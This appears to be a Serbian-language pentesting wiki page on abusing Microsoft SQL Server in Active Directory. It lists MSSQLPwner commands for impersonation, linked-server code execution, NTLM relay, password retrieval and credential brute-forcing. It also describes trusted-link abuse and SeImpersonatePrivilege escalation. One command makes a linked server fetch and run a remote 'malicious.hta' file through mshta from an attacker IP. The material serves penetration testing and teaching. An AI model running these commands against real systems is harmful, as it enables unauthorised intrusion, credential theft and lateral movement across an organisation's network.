MSSQL AD Abuse
MSSQL AD Abuse
MSSQL Enumeration / Discovery
Python
Alat MSSQLPwner se zasniva na impacket-u, i takođe omogućava autentifikaciju korišćenjem kerberos karata, i napad kroz lanac veza.
```shell # Interactive mode mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
Interactive mode with 2 depth level of impersonations
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive
Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
Executing direct query
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"
Retrieving password from the linked server DC01
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password
Execute code using custom assembly on the linked server DC01
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
Interactive mode
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
Enumeracija sa mreže bez domen sesije
Enumeracija iznutra domena
MSSQL Osnovna Zloupotreba
Pristup DB
MSSQL RCE
Možda će biti moguće izvršiti komande unutar MSSQL hosta
Check in the page mentioned in the following section how to do this manually.
MSSQL Osnovne Hacking Tehnike
1433 - Pentesting MSSQL - Microsoft SQL ServerMSSQL Pouzdane Povezane Baze
Ako je MSSQL instanca pouzdana (povezivanje baze podataka) od strane druge MSSQL instance. Ako korisnik ima privilegije nad pouzdanom bazom podataka, moći će da iskoristi odnos poverenja da izvrši upite i u drugoj instanci. Ove veze poverenja mogu se povezivati i u nekom trenutku korisnik može pronaći neku pogrešno konfigurisanu bazu podataka gde može izvršavati komande.
Povezivanja između baza funkcionišu čak i preko šuma poverenja.
Zloupotreba Powershell-a
Metasploit
Možete lako proveriti pouzdane linkove koristeći metasploit.
Napomena da će metasploit pokušati da zloupotrebi samo openquery()
funkciju u MSSQL (tako da, ako ne možete da izvršite komandu sa openquery()
, moraćete da pokušate EXECUTE
metodu ručno da izvršite komande, više informacija u nastavku.)
Ručno - Openquery()
Sa Linux-a možete dobiti MSSQL konzolu sa sqsh i mssqlclient.py.
Sa Windows-a takođe možete pronaći linkove i izvršiti komande ručno koristeći MSSQL klijent kao HeidiSQL
Prijavite se koristeći Windows autentifikaciju:
Pronađite pouzdane linkove
Izvršavanje upita u pouzdanoj vezi
Izvršite upite putem veze (primer: pronađite više veza u novoj dostupnoj instanci):
Proverite gde se koriste dvostruki i jednostruki navodnici, važno je koristiti ih na taj način.
Možete ručno nastaviti ovu vezu pouzdanih linkova zauvek.
Ako ne možete da izvršite akcije poput exec xp_cmdshell
iz openquery()
, pokušajte sa metodom EXECUTE
.
Manual - EXECUTE
Takođe možete zloupotrebiti poverljive veze koristeći EXECUTE
:
Lokalna Eskalacija Privilegija
MSSQL lokalni korisnik obično ima posebnu vrstu privilegije nazvanu SeImpersonatePrivilege
. Ovo omogućava nalogu da "imituje klijenta nakon autentifikacije".
Strategija koju su mnogi autori smislili je da primoraju SYSTEM servis da se autentifikuje na zlonamerni ili man-in-the-middle servis koji napadač kreira. Ovaj zlonamerni servis tada može da imitira SYSTEM servis dok pokušava da se autentifikuje.
SweetPotato ima kolekciju ovih različitih tehnika koje se mogu izvršiti putem Beacon-ove komande execute-assembly
.
Last updated